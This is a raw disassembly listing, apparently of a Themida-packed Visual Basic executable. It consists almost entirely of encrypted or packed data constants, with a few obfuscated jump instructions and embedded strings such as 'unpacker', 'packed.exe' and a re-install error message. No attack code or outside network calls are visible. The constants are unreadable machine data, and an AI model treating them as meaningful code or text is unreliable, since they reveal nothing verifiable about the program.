dd 0F9DE4E9Bh, 60435123h, 23F9DE30h, 8DD7202Dh, 58FEAEA6h
dd 1861B4F8h, 0DDA1D4E5h, 7BC323F9h, 0F9DD6898h, 27586523h
dd 2306470Eh, 23F9DDF3h, 58A2EBF8h, 0E87BE246h, 316239B1h
dd 0B19BB9CEh, 42C706Dh, 0E6750000h, 9B7EC8C0h, 23FFF363h
dd 67095365h, 4EB90DFFh, 3579861Dh, 0E731394Fh, 0E4379D04h
dd 0E482F2Bh, 73E0FE42h, 0BE565935h, 0F68DBE07h, 0DB18F7E9h
dd 4064C29Bh, 3F143h, 0DD7BDF00h, 92C495AAh, 420A4A5Fh
dd 0F65EFA0Fh, 0A5A5AEC3h, 0D09D3E72h, 7F94C783h, 32477AD8h
dd 0E4F92C24h, 45AADD71h, 0FFC8F8DBh, 11C523FFh, 0FDC0E610h
dd 3E48D0C2h, 4C96DF5Bh, 0E63569h, 0E32D3A24h, 0C2F559FCh
dd 0A44C3A4Ch, 9788C642h, 46084D66h, 0FD0A1C02h, 0FFB4EA1Ah
dd 0F9290C23h, 0F623FFB4h, 2C7582E9h, 185AFFE2h, 8B722BEAh
dd 0EC3F83C9h, 0B9FD5303h, 919E3566h, 0B9F56047h, 396CB59Fh
dd 0D97D3124h, 0FCDF3377h, 1C15D3CCh, 327BC4D1h, 0EAE608EEh
dd 0B19BB9A0h, 23311A6Dh, 367EF829h, 0C9714324h, 0A7D85407h
dd 0FAA33B92h, 31233023h, 0BAC505D4h, 338F8CB0h, 9D000003h
dd 53689BBDh, 81D5006h, 0B8CD004Ch, 6C81B4A0h, 0FC3063E7h
dd 85C58EDFh, 381A3D52h, 0EA66F005h, 9BB3A2B7h, 0B6990368h
dd 23FFFF86h, 0D9CECF83h, 9B8ED27Ch, 2261F4BAh, 7DD88172h
dd 91D51E9Dh, 0BAC2F53Eh, 6F529C94h, 23F9DE2Ch, 2F1E626Fh
dd 23F9B6FBh, 82D7D77Eh, 0F43D90D4h, 0B496BDB0h, 71DE5370h
dd 0D27D1014h, 5EB7C696h, 32655Ah, 82690000h, 0D67CDBD3h
dd 12F5498Dh, 23F9AEE2h, 6091DAE7h, 0C8C0E6E1h, 979C9B7Eh
dd 727F23F9h, 980B3F2Eh, 0E07323F9h, 0AABBF36Fh, 0CDC05A5Eh
dd 0BF000000h, 88D27CD9h, 4E98B2A1h, 158F3B6Bh, 233401Ch
dd 92B89B8Eh, 54FA5B4Eh, 2D09F80Ah, 5161007Fh, 9CB9AC20h
dd 0D48168B2h, 0B2E3367Ah, 0DBDC3E4Fh, 96DE1C15h, 15DA83B3h
dd 4A7B881Ch, 0F72A2431h, 97DB73E2h, 49939FB1h, 0F9EA1F66h
dd 357F8C23h, 0D0DA0AEDh, 0D2DF23F9h, 10363EA1h, 0EEBCE18h
dd 912BE0BBh, 533A84h, 5102174Ah, 481407F9h, 4C70C2A7h
dd 2154Fh, 0B99FBB00h, 6EE87186h, 1E2E263Bh, 0D282D6EBh
dd 81C98A9Fh, 0ACB11A4Eh, 5B70A3A7h, 0E2356FCh, 0C0D50848h
dd 2186B995h, 0A4D4B7h, 0F5A92400h, 57AD9F4h, 0CD884BF7h
dd 0B0996D81h, 152771BAh, 1DBDB557h, 2A8DBE93h, 0C40E4015h
dd 92D678DDh, 30AB0E3Fh, 15F76678h, 5A2EB9DDh, 0FF0B1D29h
dd 1CD3D2B5h, 0CBD823FAh, 1A649887h, 39CC23FAh, 2F124A16h
dd 0E4195A5Eh, 18000000h, 0C0C59178h, 0B7D639F0h, 0EE1F686Ch
dd 84CE80D5h, 5498BA9Dh, 695CD001h, 2D1C60EAh, 1C15D8CBh
dd 10430B4Ah, 0B0F45AFBh, 71E3755Ch, 4E7FCB88h, 0DA242C42h
dd 0F9DEB0F7h, 0CDB0F823h, 23F9DD9Dh, 0CD6495A2h, 0D3173320h
dd 0DBED3780h, 0CEB0CE5h, 399CCDF4h, 0C9131F31h, 26563981h
dd 2323FA62h, 94D0E516h, 192BE148h, 78DBC20Ch, 42299FD2h
dd 0A4F73B13h, 51F95A73h, 0A7BAB25Fh, 0BDBADEC2h, 116h
dd 85B8A0BAh, 3A6DE970h, 0EA1D2F25h, 9ED183D5h, 4D80CA89h
dd 0A8ABB219h, 0FD5A6FA2h, 490D2255h, 96BFD407h, 0B62085B8h
dd 1A3D3h, 0F3F4A824h, 0ECBD6678h, 0C40E3393h, 4374BD91h
dd 0D721292Ah, 0A3E763F0h, 63A7A3B0h, 32B3C710h, 0F1F81827h
dd 7085E819h, 0C03669E5h, 92D680D9h, 0D98F0E3Fh, 9B8ED27Ch
dd 0EB6194BAh, 8E90C0A3h, 808D1C15h, 252D434Fh, 0EB5FF4DBh
dd 0A92354A7h, 76DE7A61h, 8F19492Ch, 9161C15h, 0F21AC3D8h
dd 0E22A23FFh, 10F55BFBh, 23FFF1E0h, 0F1E717FAh, 0D7E423FFh
dd 9B326370h, 0F17AAA8Dh, 727F23FFh, 63F2E529h, 0FF480E4Bh
dd 109EB7CCh, 76C90D49h, 42FAE92Dh, 54340DC1h, 1045A2ADh
dd 0B598B99Eh, 33FD3A85h, 0EB347D8Ah, 467659A1h, 4333FD3Bh
dd 8DA20536h, 4F4286C8h, 0FD074B09h, 5500ED62h, 850C6F9h
dd 0FD3AF525h, 74DFA33h, 65AE0145h, 143A1B34h, 10D3D0h
dd 95DD0000h, 0FD3A82B2h, 7CDA8733h, 0DB5A8BD4h, 81D93A69h
dd 0B5A093D7h, 0F4625599h, 3225185Ch, 6AE9DC20h, 0AAA99CE0h
dd 0EF695CA0h, 262E2165h, 6AEFE226h, 536AA8ECh, 0C381E389h
dd 4, 8704EB83h, 248B241Ch, 18EB6824h, 3C890000h, 5A0E6824h
dd 4890000h, 65A46824h, 3C8B07EAh, 4C48124h, 68000000h
dd 392Bh, 83242489h, 58042404h, 8EB95157h, 290C0330h, 5904244Ch
dd 8108408Fh, 308E0840h, 48B0C03h, 0E3895324h, 4C381h
dd 0C3810000h, 4, 5C241C87h
; ---------------------------------------------------------------------------
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_598345
; ---------------------------------------------------------------------------
db 25h
; ---------------------------------------------------------------------------
loc_5E9A29: ; CODE XREF: Themida_:loc_5E8994j
mov eax, 7EA751Ch
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 0F1BCh
dd 0F31E01FDh, 588B5843h, 0C73D7D8Eh, 0D2023388h, 2FD30C7h
dd 6E7E2ECFh, 4EBD39A5h, 39692618h, 61B50692h, 1F272840h
dd 1E5035A9h, 4960470Fh, 7BE957F5h, 4B000001h, 0DD679C44h
dd 437C8360h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h
dd 2E64656Bh, 657865h, 3Ah dup(0)
dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
dd 654Eh, 7 dup(0)
dd 4DE90000h, 6800001Ch, 7EA797Dh, 0FA0692E9h, 7A5868FFh
dd 88E907EAh, 68FFFA06h, 7EA7B90h, 0FA067EE9h, 7C4868FFh
dd 74E907EAh, 68FFFA06h, 7EA7C87h, 0FA066AE9h, 7D4A68FFh
dd 60E907EAh, 68FFFA06h, 7EA7DA7h, 0FA0656E9h, 7DF868FFh
dd 4CE907EAh, 68FFFA06h, 7EA858Dh, 0FA0642E9h, 861E68FFh
dd 38E907EAh, 68FFFA06h, 7EA86E1h, 0FA062EE9h, 87CC68FFh
dd 24E907EAh, 68FFFA06h, 7EA885Eh, 0FA061AE9h, 892A68FFh
dd 10E907EAh, 68FFFA06h, 7EA89B1h, 0FA0606E9h, 8A5468FFh
dd 0FCE907EAh, 68FFFA05h, 7EA9044h, 0FA05F2E9h, 914F68FFh
dd 0E8E907EAh, 68FFFA05h, 7EA9209h, 0FA05DEE9h, 7A9C74FFh
dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h
dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 0D8DCA320h
dd 357A13A8h, 617956A6h, 6F7E5B29h, 42A00DF2h, 760C914h
dd 733B5473h, 0B324A623h, 16A13A6h, 73D537C9h, 0A6B401F6h
dd 0F964CD13h, 13A6B402h, 659DBB95h, 0FE1079CAh, 0A6B47A05h
dd 0A8C09D13h, 0B3C8A270h, 0A6B44136h, 4BA40D13h, 5C557113h
dd 0EAD78A30h, 0AAE69E75h, 798E0052h, 0C07C8E45h, 423C2791h
dd 93ECD368h, 0FCA0E481h, 0D8776A03h, 38D4h, 0F492FD00h
dd 0CAEDFF17h, 47A6E2C5h, 0E6C82063h, 0C09F3D8Dh, 0C7D974ACh
dd 6CA66CE9h, 0B7413A6h, 0C4A341D3h, 0DAA59EB0h, 7113A66Eh
dd 87782460h, 50D87743h, 0C1h, 61795679h, 0B8359729h, 1442A0C3h
dd 0FA14268Fh, 0E88F0C1Fh, 661442A0h, 7E9271FDh, 5937D525h
dd 0D96B3143h, 0E465E3Bh, 6A476173h, 6F4C1A52h, 61CEC357h
dd 0EE1442A4h, 20587650h, 7C597385h, 0DDBAD064h, 0D9B68DC5h
dd 0E0885D5h, 5413A6B0h, 51F390E4h, 477609DBh, 68D33394h
dd 21B50EFEh, 0D1218D02h, 40D95B54h, 5EAE1714h, 35C9E5C0h
dd 29B7E95Bh, 70516C82h, 4D69445Eh, 34C08FF9h, 34BAFA62h
dd 196Ah, 45D9FBD3h, 0A236562Fh, 296B08Ch, 65F90DECh, 0C458744Fh
dd 714C05EBh, 0D1ABC155h, 2B091FB3h, 8E6B8115h, 7F2FE276h
dd 0A8D97D02h, 594D913h, 0CB5F7B56h, 2CC0D8B5h, 19F4925Bh
dd 182AC5FDh, 0C4149AF5h, 0CDE9C462h, 0EFE8FA95h, 13A6A939h
dd 0A9568EF7h, 13A6A9D6h, 0AA852375h, 0A7DF7C8Eh, 780808F7h
dd 0C3CDD8h, 56F60000h, 5B296179h, 9A2C6480h, 0A0C4BB38h
dd 29921442h, 0A5111E17h, 25021442h, 8663790Dh, 305F366Eh
dd 1E566E4Bh, 0C1B63383h, 8D1442A5h, 0FE7BCB24h, 13A6B104h
dd 2E4DE14Ah, 80FD4D61h, 14405F20h, 0A1B79533h, 0F747B08Fh
dd 542D8059h, 0EBC9DB34h, 0F70DEB89h, 0D4F0CBE5h, 2C4F2A40h
dd 0A8F1A6A0h, 0DD318A24h, 6234DAB5h, 8F22A8E8h, 0AE000018h
dd 0A20B4D6h, 677D1131h, 0C7DD718Bh, 2A40D4E8h, 0C69F334Fh
dd 304C2720h, 8EAC869Ch, 0F006E4FAh, 5169465Ch, 0DD5A0ABDh
dd 13A8DA26h, 92E06FB4h, 6B2D5E20h, 0AB15758Fh, 6D49D592h
dd 4C274153h, 0A9869C30h, 62DF4191h, 1442FD9Dh, 9CBED039h
dd 2E7956CBh, 0A280255h, 85DE79B1h, 93A27F4Dh, 0C4FC1CF5h
dd 0A039BE29h, 2C951442h, 0BE583D3h, 0DFB9DBEDh, 0E705DF7Dh
dd 42A0877Ch, 5EEA5314h, 96316981h, 802E6184h, 86FDB330h
dd 4BBB13A6h, 3A05AC76h, 0B3EB44BDh, 0A6817506h, 85C1D213h
dd 0F774D6h, 0CE13A681h, 87785365h, 50D877FCh, 0C4h, 7FC14579h
dd 0B04E9E10h, 0E984BCD2h, 0AE7CF9D7h, 7C13A68Ch, 7C1A0A13h
dd 21FA86A0h, 0D7F6EF01h, 9CC73C2Bh, 300221FEh, 38BA2D1Dh
dd 0B583BB14h, 5668C1D7h, 461F5C33h, 0FA53EE26h, 0B0132DAAh
dd 0E141CFD8h, 20F29F64h, 0D2100F0h, 0C2FA53BCh, 2AD4BE30h
dd 0A5B11349h, 981F7093h, 2060641Bh, 0C4D8B7F0h, 61B10A73h
dd 0C7D0BCE4h, 0A5F55EF7h, 7E122A07h, 1F738B68h, 85B64C7Dh
dd 576EF434h, 0E6000017h, 4258EC0Eh, 9FB54969h, 0FF15A9C3h
dd 62780C20h, 0FED76B87h, 68845FF8h, 0C6E4BED4h, 283E1C32h
dd 89A17E94h, 159242F5h, 13A8DB6Eh, 5618A7ECh, 52296179h
dd 0A421713Dh, 13A686EEh, 0DEAF43ACh, 107FC145h, 4EEC4E9Eh
dd 2F492572h, 1DCBC4D6h, 0CB13A68Ch, 8C09EE6Bh, 49C613A6h
dd 13A68CB2h, 0FD66B720h, 19909BA4h, 15948E76h, 0E22017Ah
dd 0A10365B5h, 4F875F24h, 8092FB9Bh, 0ABA6B587h, 20FE9C9Ch
dd 0E9E19613h, 46D82B3h, 51BA99ABh, 614D4219h, 594C9411h
dd 0A50E8554h, 7855F355h, 7B8D2860h, 0D86C8461h, 79CDE5C2h
dd 0D327C22Dh, 9FD25898h, 9E000016h, 0FA10A4C6h, 576D0121h
dd 0B7CD617Bh, 1A30C4D8h, 0B68F233Fh, 203C1730h, 7E9C768Ch
dd 0E0F6D4EAh, 4159364Ch, 0CD4AFAADh, 13A8DC36h, 56D05FA4h
dd 0A30D6179h, 367200BCh, 166070F6h, 5DD0000h, 60394FE3h
dd 0BA96AC40h, 17F60CA0h, 7E596F03h, 0FF5CE62h, 0CB5F7B56h
dd 29BDDBB5h, 8B1F3513h, 0EC809875h, 770C8939h, 0E313A8DCh
dd 30920F9Eh, 0F1C87CBEh, 0E44FC66Dh, 1442681Fh, 264052BBh
dd 67F93149h, 0C7A3EAC9h, 0EFC854ADh, 0EAFC97CFh, 96E6C8C7h
dd 0A6684F19h, 0E3A51513h, 3BD42656h, 0C33C720h, 1EFC9A8Bh
dd 0A9E1F7D5h, 80A3B50Eh, 0D24F9F0Fh, 1442F604h, 0C5935D3h
dd 84BC1531h, 2F6289E9h, 3C8C626Dh, 0D9E24B2Ah, 22EB7FCEh
dd 0CEE0AF87h, 2A3F017Eh, 7915BFD7h, 0B04B839Dh, 47481F57h
dd 469A1767h, 14A7F0DCh, 0E0BD5BABh, 411E34C8h, 3EE5D529h
dd 0C808B5C3h, 159D42h, 0A6C8A000h, 323FC12h, 637D596Fh
dd 0C6DAB9CFh, 25411C32h, 1932B891h, 788E223Eh, 0D6EC809Eh
dd 384EE2F8h, 0FCAF435Bh, 0DD28CF4Ch, 61A613A8h, 0A08077D2h
dd 0ED4F1442h, 42A08B70h, 0CCDE4714h, 42B028D3h, 0A0F38C14h
dd 0BA451442h, 0DD144280h, 3094E800h, 0D172009Ch, 15400B91h
dd 25FD0000h, 80596F03h, 0DAB6CC60h, 37162CC0h, 9E798F23h
dd 0EF15EE82h, 0EB7F9B76h, 49DDFBD5h, 0AB3F5533h, 0CA0B895h
dd 572CA959h, 313A8DDh, 30922FBEh, 42A0CCB3h, 0F218A14h
dd 0BB0BA3ECh, 0A6B8103Eh, 155BE13h, 6A1CA3CDh, 0EF820848h
dd 4E000014h, 0AAC05476h, 71DB1D1h, 677D112Bh, 0CAE07488h
dd 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah, 0F109E6FCh
dd 7DFAAA5Dh, 13A8DD86h, 92800F54h, 0A0CCB330h, 218A1442h
dd 0A0AF54D1h, 0C22B1442h, 0A1B996B0h, 0F265D769h, 96AA893Dh
dd 8D63C35Eh, 0FCF353D4h, 5341DBE8h, 0EECBE5F7h, 9D5A9ED6h
dd 864AB5E9h, 278BE05Bh, 0B4000000h, 42A08477h, 23320F14h
dd 42A0D1A6h, 0C4147D14h, 42A0B047h, 5CB51E14h, 2557D3C8h
dd 0E51D1419h, 145D5Fh, 0F492EE00h, 0D0EAFC1Ah, 0CCA3DBF3h
dd 399BEBC3h, 0A0A55AD7h, 1BF61442h, 3345AEFFh, 0A6B4D83Ah
dd 0A93DA613h, 0FD95DCFh, 0F6C9DE8Ch, 0E0CEC1E4h, 0B1902E90h
dd 0B8CA659Dh, 420885BFh, 0AAE24B14h, 52E600DCh, 8A16A35Dh
dd 0FD1DF61Bh, 277A5369h, 81EFC4Dh, 50DC35D0h, 841F5777h
dd 4C25F32Bh, 4926F42Ch, 4F2BF931h, 6F46FD35h, 0B67F7B37h
dd 8FB68F8Eh, 6B39C622h, 0F084DD4Bh, 93F1E619h, 286EFD0h
dd 4D180000h, 0BA1C6C42h, 16283E1Ch, 0A6B38B1Dh, 0FC79D913h
dd 13A6B407h, 3F5D37D3h, 87558DE6h, 0E4FA8EAEh, 0DA03E40Bh
dd 4B8BC3C4h, 720DBAF2h, 9213A64Fh, 0C224570Fh, 0A7AFBE45h
dd 0A1B31C13h, 7C5BAE87h, 5C7B0F68h, 0AE2B7B33h
dd 1443B300h, 0DFADE54Eh, 3E54E804h, 620F4763h, 1B8B8C9Bh
dd 0CB0323FCh, 0D00820FDh, 0C8B7EF6Ch, 0FE99D1EDh, 0C38306A5h
dd 0D165815Ch, 81D1DDB2h, 3F58AD1Fh, 0B4D391ABh, 0EE89C1D5h
dd 348A8395h, 221C6FCBh, 0D6B381B9h, 0DE502ABEh, 383C9487h
dd 849EB01Bh, 687E5CA7h, 0E05DBF0Fh, 3EFA21Bh, 763C4EB7h
dd 0EFA232C9h, 97CF5203h, 4F6B46E4h, 2E46233Dh, 78FF7CDEh
dd 0D603EFA2h, 0EE02E16Dh, 0E7091BB6h, 43E1F8D1h, 1CE34E66h
dd 0BA03EFA2h, 0A226DD5Ah, 4BB403EFh, 0AB4999F2h, 0DDA3B5CFh
dd 7E3360Fh, 8E5C94EDh, 905E96B4h, 5E25A2B5h, 0FC03EFA2h
dd 0C4023A93h, 93104BFBh, 3EFA2ECh, 0ACA8016Ah, 0B2B04A2h
dd 892638D3h, 0BF3C9EDDh, 3EFA238h, 11B2D96h, 9D740828h
dd 0C8AF0F62h, 0AE55D234h, 0F103EFAEh, 2BC6FE12h, 34526ADAh
dd 9E7A601Fh, 0BE943345h, 0B4000000h, 0E8203A16h, 56663B4Dh
dd 59275F7Bh, 0EC2A627Eh, 21FC6323h, 80D9F9D2h, 9ED6BE30h
dd 1B36854Bh, 0EF10E709h, 0E8E05B38h, 91h, 23209211h, 0AD895C86h
dd 38152F41h, 1B87F019h, 62BBD585h, 677F5C2Ah, 6B85612Fh
dd 6E8A6533h, 0FCA87F36h, 10AEB8B4h, 49E41C32h, 0AFEA9A37h
dd 0C1E3211h, 0ADFD15F2h, 5429CE4Bh, 0BC961442h, 0AC04E130h
dd 0FA0C75C6h, 0CFFE01D8h, 3ED7E05Bh, 0
dd 0F24B2092h, 70456884h, 5A543B5Eh, 24378D0Ah, 0B42613A6h
dd 94C99968h, 3514264Eh, 14E794CCh, 0B313A678h, 45BAE2A2h
dd 53D87745h, 0B48FD6B5h, 6CC56098h, 0E8879934h, 84h, 6C424D11h
dd 0BEFD9F1Ch, 2A9313A6h, 2B4B24F2h, 421FBD97h, 25FE182Ah
dd 26FFCD05h, 0C790CE06h, 0A7C7A09Fh, 0BCDDB957h, 93ED6F7Ch
dd 0DC146DAAh, 360D2F41h, 0D8779BC9h, 410Eh, 484D3700h
dd 16B41666h, 18112337h, 6BBD5F83h, 781666CFh, 0B24D8599h
dd 522DDAA0h, 0DC9442A1h, 334726C4h, 99C08421h, 0D0DE8927h
dd 99ABAF0Bh, 3F8F1F76h, 0BDBEDDC2h, 7C1079EBh, 7AEh, 4D9E3D00h
dd 2D000000h, 28607A56h, 1161815Ah, 0FB3DC49Fh, 3A2E803Fh
dd 7E3696ECh, 0B6D8EA8Eh, 8FA0C7A0h, 0B733C826h, 5B326AC3h
dd 7C038037h, 0DA144233h, 33E01871h, 0EBBDCCB7h, 0CD4AACFEh
dd 14423336h, 8C293BA4h, 7E5BA4D8h, 837CE05Bh, 0A500000Bh
dd 1969454Dh, 0A0453AB7h, 0A1111442h, 9704C8C9h, 34469FA2h
dd 0DF6ADC6Eh, 8D03AC3Eh, 0D450495Bh, 979DE984h, 619EDE86h
dd 7656B0D8h, 39h, 69454D9Fh, 82A27B19h, 6E159270h, 0EC1442A0h
dd 0B6953383h, 1DCA90A2h, 0BD316DC4h, 0C69F3D8Fh, 6E4D32AFh
dd 0A009BD31h, 62740F47h, 22DD81C5h, 0B336E843h, 298h
dd 15F492DCh, 4F34B101h, 0B1442A0h, 256D90A2h, 0BD9B3989h
dd 0C2D46FA7h, 920AC1EDh, 0C6FE18F4h, 22FF192Bh, 0F2D9C30Ah
dd 0CCB33092h, 8B1442A0h, 42A0690Eh, 2B7CE514h, 3D5D36C2h
dd 0E5DF502Bh, 4B18E55Fh, 41000000h, 2269454Dh, 0ABE3092h
dd 5A7A5306h, 4E005AFAh, 0DCB9433Ch, 0AE171442h, 5EFCEC5Eh
dd 6E7307CDh, 0A23D7595h, 0CADEBD49h, 10E5F792h, 7A563992h
dd 52701960h, 0E94B30E0h, 485A1788h, 549E73h, 86240000h
dd 0BA558DADh, 2092D3A8h, 658A1451h, 10ED7943h, 0CFC3E6F8h
dd 12F18FDFh, 192BC6FEh, 18F49244h, 7ED7EDCBh, 411FAB46h
dd 0BE3B192Bh, 1442A03Ch, 0A81A6A51h, 0D54B0902h, 84596B80h
dd 7A563992h, 0F4921960h, 28C3FB1Bh, 7FAFF6C8h, 30426644h
dd 99771B30h, 6826CBD9h, 0D9F28906h, 0F76026CBh, 0D4F0CBE5h
dd 24D2A40h, 39D40C26h, 0E8C3BFE0h, 0D80A7CCCh, 0A672E523h
dd 0BD162A09h, 53D5331h, 0EA9586Ah, 9F7CE3A3h, 75527E87h
dd 0DE7C3C5Dh, 0ABD6E802h, 187AF8BBh, 0CBE0E49Bh, 0F7097226h
dd 0D16F2A5Ah, 9A4DCF4h, 0E800DDF7h, 0EFFF2698h, 0EE28644h
dd 5C3965FCh, 1592F444h, 26CB916Eh, 0C27183ECh, 0C3BDEBC6h
dd 9126CB91h, 16C0728h, 0DEFDDA45h, 0C1EDA738h, 39429BE0h
dd 0DE16320Dh, 56856FFh, 0E703DE41h, 51BF997h, 0FE2032CDh
dd 0D2F30BE8h, 4AE8FBD6h, 831E566Ch, 0C5867871h, 0E34C26CBh
dd 43B5EDC2h, 7A6354E4h, 8E6C3926h, 0DBBC7EDEh, 5D09A6B8h
dd 9DED05E2h, 0D20A22FFh, 153CC340h, 319A26CBh, 576F4CD8h
dd 20BEAE45h, 0FC162846h, 0D9E6071Fh, 0A0E42598h, 0BFC8E0BDh
dd 4E9EB693h, 0A5B7D7B0h, 31C436F6h, 0C05FB226h, 0BC97B1C3h
dd 71EE50A0h, 26CBF48Ah, 1ECDDF48h, 0F16C1883h, 0CDECC914h
dd 97B0841Dh, 459EF7F8h, 7956553Ch, 0AC11A61h, 0CCB33092h
dd 8A1442A0h, 0A9EC0F21h, 86DFF3D2h, 95F2D93Fh, 0E55FE59Ah
dd 465Bh, 30928400h, 2F9AB892h, 1442A048h, 6AA583F7h, 1C6DE299h
dd 177EA1B3h, 15925097h, 1442A06Bh, 923980E9h, 5D7D5639h
dd 105B9B0Dh, 6D69598Ah, 0D6E808E1h, 925B7001h, 0A0CCB330h
dd 218A1442h, 263D0Fh, 4DCC0000h, 3D573348h, 1DF694E4h
dd 4B30ADFDh, 71442A0h, 92B78C9Eh, 42A06B15h, 7AC1A814h
dd 7D563992h, 5B70165Dh, 42B1AF77h, 1296D14h, 0B8FFFFFDh
dd 42A08477h, 0D2AD4B14h, 0D1E37EB6h, 7ACAE4AEh, 663C5D08h
dd 74863ABAh, 13603C52h, 8CC41D37h, 428118DFh, 8BBB9214h
dd 0A9EB894h, 67FB1BF4h, 29614D48h, 14D2CE7Ch, 6C846156h
dd 6E8C6634h, 1155D236h, 4CF80961h, 7C906F0Dh, 0A8708F6Ah
dd 0FA659E05h, 85000001h, 0DCEE0EE7h, 0A0857707h, 88071442h
dd 0B59D626h, 0D913A682h, 0EAC6DC70h, 0F1CA98D0h, 690799D1h
dd 4761738Dh, 3F164E6Eh, 0AC0E5E50h, 5286E53Ah, 0CEE0B33Ch
dd 4207FFD5h, 7F1D7D14h, 0B44F87A5h, 8A77B249h, 5EB7201Bh
dd 37E5CE0Ah, 951B5B62h, 0D5Ah, 55E90BE3h, 0B246663Fh
dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh, 0E1BBD165h
dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0A8256D12h, 15A4E913h
dd 552E7956h, 962FD35h, 1995FAD1h, 0E8F567C9h, 87F9CBD3h
dd 0D8847D8Fh, 7A13A877h, 0C15FC111h, 395CDE3h, 0A9B7F186h
dd 9BF45D13h, 79936F89h, 0D9F3CFE5h, 0DEF6D3A1h, 0EEC0CFA6h
dd 0ACDF219Eh, 476144Dh, 57629261h, 4ECB1B38h, 1B8D33A9h
dd 0CBAABC25h, 29D40E62h, 29696231h, 0CC9A3h, 7A9C7400h
dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h
dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 26DCA320h
dd 357A13A8h, 617956A6h, 713D5229h, 0B316A421h, 0DB4413A6h
dd 3D1D198Bh, 0CEF43E48h, 0A7849ABCh, 5330835Ch, 0FAAE23Bh
dd 870466B6h, 13A68DF0h, 0C1E3F55Eh, 71C1EDA2h, 0A4DCF8D3h
dd 9C19F709h, 144CFACDh, 46E4349Dh, 27DC596Ah, 0B31B8C05h
dd 835DF14Ah, 30E809E5h, 0FFD6F9C6h, 9C376FC8h, 7A94708Ah
dd 3712B042h, 6A41E31Bh, 8FEFE574h, 344E60B9h, 30073F57h
dd 61FF4F5Fh, 9A356D83h, 81A300Eh, 9B53AD2Ah, 98011C68h
dd 4E80A844h, 0E369A95Ah, 0C06h, 0A93D5F37h, 69ABA93h
dd 66FA14F0h, 0C95D7150h, 28BCD8B3h, 0D5B0A94Fh, 350F25B9h
dd 8F6D8317h, 0F2CFE579h, 0E39346DAh, 0A8269166h, 69F83D13h
dd 29617956h, 21713D52h, 0A68E22A4h, 73077013h, 0D064845Dh
dd 0B291DEBAh, 0D7B1459Eh, 34465A39h, 120925Fh, 6CD23A04h
dd 7E113446h, 8563E030h, 5313A660h, 8220B2EAh, 847D8FA3h
dd 13A7A6FBh, 54073F50h, 74FAB7E2h, 495B9373h, 7703916Eh
dd 0AD46D8h, 566F0000h, 334F2A7Dh, 7210A2DAh, 536D7F93h
dd 54225A7Ah, 36542E75h, 0A5B75CFEh, 0C6BAF668h, 52C4146Dh
dd 793D62A0h, 0F87FFCCBh, 56144278h, 0BC8294EDh, 61F515EEh
dd 0C20BE987h, 0F792CAE8h, 6BCB669Eh, 4959E38Ah, 0C6E9FBD8h
dd 0F795E5C9h, 13F10319h, 0A6CDA496h, 0ED41AA13h, 6A1C4B09h
dd 1B961C5Ch, 2200000Bh, 7E94284Ah, 0DBF185A5h, 3B51E5FFh
dd 9EB4485Ch, 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh
dd 0C5DDBAD0h, 51CE7E31h, 13A827AAh, 5654E328h, 0EFC95D7Dh
dd 9995A67Dh, 0B2C49B92h, 80E0h, 0EFC86600h, 92E8BDCFh
dd 0D6CF9D20h, 0ABBDDB11h, 6098B891h, 0B63C5CCEh, 0A3FB80FDh
dd 0EE571442h, 63C5478Eh, 4D612E51h, 6B815FFDh, 0A8869833h
dd 0C4C7D446h, 9F43968h, 0B8A8FEF7h, 0AA613A6h, 3FDA1230h
dd 9D6E92E6h, 0CB0B6A1Ch, 0A8945h, 0BADCB400h, 17371026h
dd 77916D83h, 0DAEECDE3h, 39553046h, 2D26CCA5h, 8CA23652h
dd 0EA0094B2h, 4C62F60Ch, 10C3576Fh, 281CE360h, 75BA13A8h
dd 617956E6h, 667E5B29h, 4EECEA2Eh, 2E4C2671h, 7E26C3D5h
dd 5C1DC13Eh, 21A16E0h, 923F0000h, 0B8FE7F20h, 0EAC65C89h
dd 0A4FD98D0h, 0D1576792h, 245EE9BEh, 0D3978129h, 0FFAD2A7Ah
dd 0AD13A6FAh, 7A56F444h, 7B8D2860h
dd 0AB85D9E4h, 840BE031h, 2B5DDA2Ah, 0B9E8DAF6h, 0E8861850h
dd 0CCE0BF0Ch, 68A0F994h, 4C6441CDh, 3678173Ah, 793169E6h
dd 7AE310C5h, 97AF8C2Ah, 846ED547h, 0B6EE0AE5h, 0F717BB1Bh
dd 43597B8Dh, 73304766h, 69F4FBB7h, 144EBC10h, 0FF3F66B8h
dd 9BD79h, 86A88000h, 0E303DCF2h, 435D394Fh, 0A6BA99AFh
dd 521FC12h, 0F9529871h, 586E021Eh, 0B6CC607Eh, 182EC2D8h
dd 0DC8F233Bh, 29C8AF2Ch, 418613A8h, 5D7D56B2h, 6D414E25h
dd 0D633A01Dh, 0F65F13A8h, 30C744A6h, 6313A8D7h, 0B0196A8Ah
dd 4822C09Eh, 0A680962Ah, 29617755h, 26FD358Eh, 78F54569h
dd 144CE4DEh, 112D08A4h, 0ECCA68B8h, 0F1039ED6h, 7D9B7513h
dd 0DBF9D3E9h, 0E0F8D5A3h, 3211888Ch, 53D91962h, 936h
dd 790D2F07h, 0D66A8A63h, 36CAE4C0h, 992D4120h, 0F88CA883h
dd 0A580D91Fh, 5DFF589h, 5F3D53E7h, 0C29FB549h, 0B36316AAh
dd 0A8294136h, 39C80D13h, 1D9AFCC6h, 1442A066h, 0CBBD84F4h
dd 0E9446DBEh, 0F6857E90h, 401442EEh, 0BB9A3D69h, 0EC8ADAD4h
dd 23BEF610h, 9CB63311h, 0E213A6DDh, 451F6846h, 2575CE27h
